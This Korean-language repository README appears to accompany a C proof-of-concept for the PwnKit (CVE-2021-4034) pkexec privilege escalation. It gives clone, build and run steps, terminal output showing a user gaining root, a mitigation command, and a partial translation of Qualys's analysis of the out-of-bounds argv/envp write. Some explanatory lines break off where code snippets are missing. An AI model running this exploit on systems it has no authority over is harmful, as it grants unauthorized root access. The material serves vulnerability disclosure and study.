
C 기반의 CVE-2021-4034 (PwnKit) 개념 증명 익스플로잇으로, pkexec의 경계를 벗어난 쓰기를 통해 로컬 권한 상승을 가능하게 합니다. 빌드 지침과 취약점 설명이 포함되어 있습니다.
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| 명령어 | 용도 |
|---|---|
sudo chmod 0755 pkexec | CVE-2021-4034 수정 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| 명령어 | 용도 |
|---|---|
make clean | 수정된 코드를 테스트하기 위한 빌드 정리 |
기반: blog.qualys.com
pkexec의 main() 함수 시작 부분은 명령줄 인수를 처리하고(534-568행), 실행할 프로그램의 경로가 절대 경로가 아닌 경우 PATH 환경 변수의 디렉터리에서 검색합니다(610-640행):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
불행히도, 명령줄 인수 argc가 0인 경우 – 즉 execve()에 전달하는 인수 목록 argv가 빈 목록 {NULL}인 경우 – argv[0]은 NULL입니다. 이것이 인수 목록의 종결자입니다. 따라서:
그런데 이 경계를 벗어난 argv[1]에서 정확히 무엇을 읽고 쓰는 걸까요?
이 질문에 답하기 위해 잠시 설명을 확장해야 합니다. execve()로 새 프로그램을 실행할 때 커널은 인수, 환경 문자열 및 포인터(argv 및 envp)를 새 프로그램 스택의 끝에 복사합니다. 예를 들어:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
분명히, argv와 envp 포인터는 메모리에서 연속적이므로, argc가 0이면 경계를 벗어난 argv[1]은 실제로 envp[0], 즉 첫 번째 환경 변수인 "value"를 가리키는 포인터입니다. 따라서:
더 정확히 말하면:
즉, 이 경계를 벗어난 쓰기를 통해 "안전하지 않은" 환경 변수(예: LD_PRELOAD)를 pkexec의 환경에 다시 도입할 수 있습니다. 이러한 "안전하지 않은" 변수는 일반적으로 main() 함수가 호출되기 전에 SUID 프로그램의 환경에서 (ld.so에 의해) 제거됩니다. 다음 섹션에서 이 강력한 원시 도구를 활용할 것입니다.
마지막 참고 사항: polkit은 Solaris 및 *BSD와 같은 Linux가 아닌 운영 체제도 지원하지만, 이들의 악용 가능성은 조사하지 않았습니다. 그러나 OpenBSD는 argc가 0인 프로그램을 execve()하는 것을 커널이 거부하므로 악용할 수 없습니다.